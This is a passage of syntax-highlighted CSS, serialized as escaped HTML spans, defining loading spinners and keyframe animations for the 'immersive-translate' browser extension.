style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eright\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebottom\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2147483647\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ejustify-content\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ealign-items\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-attach-loading\u003c/span\u003e::\u003cspan style=\"color:#a6e22e\"\u003eafter\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003econtent\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --loading-color: \u003cspan style=\"color:#ae81ff\"\u003e#f78fb6\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eblock\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003erelative\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ewhite\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e-100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebox-sizing\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eborder-box\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation\u003c/span\u003e: immersiveTranslateShadowRolling \u003cspan style=\"color:#ae81ff\"\u003e1.5\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003es\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elinear\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003einfinite\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eabsolute\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translate(\u003cspan style=\"color:#ae81ff\"\u003e-2000\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e-50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-loading-spinner\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003evertical-align\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003emiddle\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003einline-block\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e221\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e244\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.6\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003esolid\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-top\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.375\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003esolid\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-left\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.375\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003esolid\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003e-webkit-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eanimation\u003c/span\u003e: immersive-translate-loading-animation \u003cspan style=\"color:#ae81ff\"\u003e0.6\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003es\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003einfinite\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elinear\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation\u003c/span\u003e: immersive-translate-loading-animation \u003cspan style=\"color:#ae81ff\"\u003e0.6\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003es\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003einfinite\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elinear\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003e-webkit-keyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimmersive-translate-loading-animation\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003e-webkit-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: rotate(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003edeg\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003e-webkit-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: rotate(\u003cspan style=\"color:#ae81ff\"\u003e359\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003edeg\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimmersive-translate-loading-animation\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: rotate(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003edeg\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: rotate(\u003cspan style=\"color:#ae81ff\"\u003e359\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003edeg\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-input-loading\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --loading-color: \u003cspan style=\"color:#ae81ff\"\u003e#f78fb6\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eblock\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003erelative\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ewhite\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e-100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebox-sizing\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eborder-box\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation\u003c/span\u003e: immersiveTranslateShadowRolling \u003cspan style=\"color:#ae81ff\"\u003e1.5\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003es\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003elinear\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003einfinite\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimmersiveTranslateShadowRolling\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e25\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e110\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan 